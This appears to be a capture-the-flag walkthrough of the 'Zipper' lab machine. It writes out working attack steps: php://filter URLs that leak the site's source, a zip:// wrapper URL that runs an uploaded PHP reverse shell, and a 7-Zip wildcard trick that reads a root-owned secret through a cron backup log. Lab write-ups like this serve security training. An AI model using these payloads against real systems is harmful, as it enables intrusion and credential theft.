Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Web Findings
Gobuster
home.php (Status: 200) [Size: 3151]
index.php (Status: 200) [Size: 3151]
index.php (Status: 200) [Size: 3151]
server-status (Status: 403) [Size: 280]
style (Status: 200) [Size: 155]
upload.php (Status: 200) [Size: 0]
uploads (Status: 301) [Size: 320] [--> http://192.168.122.229/uploads/]
There is a file inclusion vulnerability on the index.php page, found by inspecting the page in dev tools. href="/index.php?file=home"
check NOTE: Always inspect at least the index.php page for file inclusion vulnerabilities if there is any upload functionality.
We can use php filters phpfilters
http://192.168.122.229/index.php?file=php://filter/convert.base64-encode/resource=index
http://192.168.122.229/index.php?file=php://filter/convert.base64-encode/resource=upload
We get the source code encoded b64. We can decode it
index.php:
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file".".php");
}
else
{
include("home.php");
}
?>
upload.php
<?php
if ($_FILES && $_FILES['img']) {
if (!empty($_FILES['img']['name'][0])) {
$zip = new ZipArchive();
$zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";
// Create a zip target
if ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {
$error .= "Sorry ZIP creation is not working currently.<br/>";
}
$imageCount = count($_FILES['img']['name']);
for($i=0;$i<$imageCount;$i++) {
if ($_FILES['img']['tmp_name'][$i] == '') {
continue;
}
$newname = date('YmdHis', time()) . mt_rand() . '.tmp';
// Moving files to zip.
$zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));
// moving files to the target folder.
move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);
}
$zip->close();
// Create HTML Link option to download zip
$success = basename($zip_name);
} else {
$error = '<strong>Error!! </strong> Please select a file.';
}
}
https://hacktricks.wiki/en/pentesting-web/file-inclusion/index.html#zip-and-rar
Upload a Zip or Rar file with a PHPShell inside and access it.
In order to be able to abuse the rar protocol it **need to be specifically activated**.
We upload a php-reverse-shell and grab the name from the home page link
http://192.168.122.229/uploads/upload_1787708550.zip
http://example.com/index.php?page=zip://shell.jpg%23payload.php
Or in our case:
http://192.168.122.229/index.php?file=zip://uploads/upload_1787708550.zip%23php-reverse-shell
And we get the shell at our listener.
Ran linpeas and found a cron job running
* * * * * root bash /opt/backup.sh
Looking at backup.sh
www-data@zipper:/tmp$ cat /opt/backup.sh
#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
All we have to do is look at backup.log
> Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
Since the error will be stored on `/opt/backups/backup.log` we can just see the content of `/root/secret` there.
We essentially didn’t have to do anything because the `enox.zip` is already there and it’s linked to `/root/secret`. We just need to read `/opt/backups/backup.log` to read `/root/secret` .
https://medium.com/@ardian.danny/oscp-practice-series-62-proving-grounds-zipper-b49a52ed8e38
The pass is in backup.log
www-data@zipper:/tmp$ cat /opt/backups/backup.log
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7371 16-Core Processor (800F12),ASM,AES-NI)
Open archive: /opt/backups/backup.zip
--
Path = /opt/backups/backup.zip
Type = zip
Physical Size = 10717
Scanning the drive:
6 files, 9767 bytes (10 KiB)
Updating archive: /opt/backups/backup.zip
Items to compress: 6
Files read from disk: 6
Archive size: 10717 bytes (11 KiB)
Scan WARNINGS for files and folders:
WildCardsGoingWild : No more files
Done.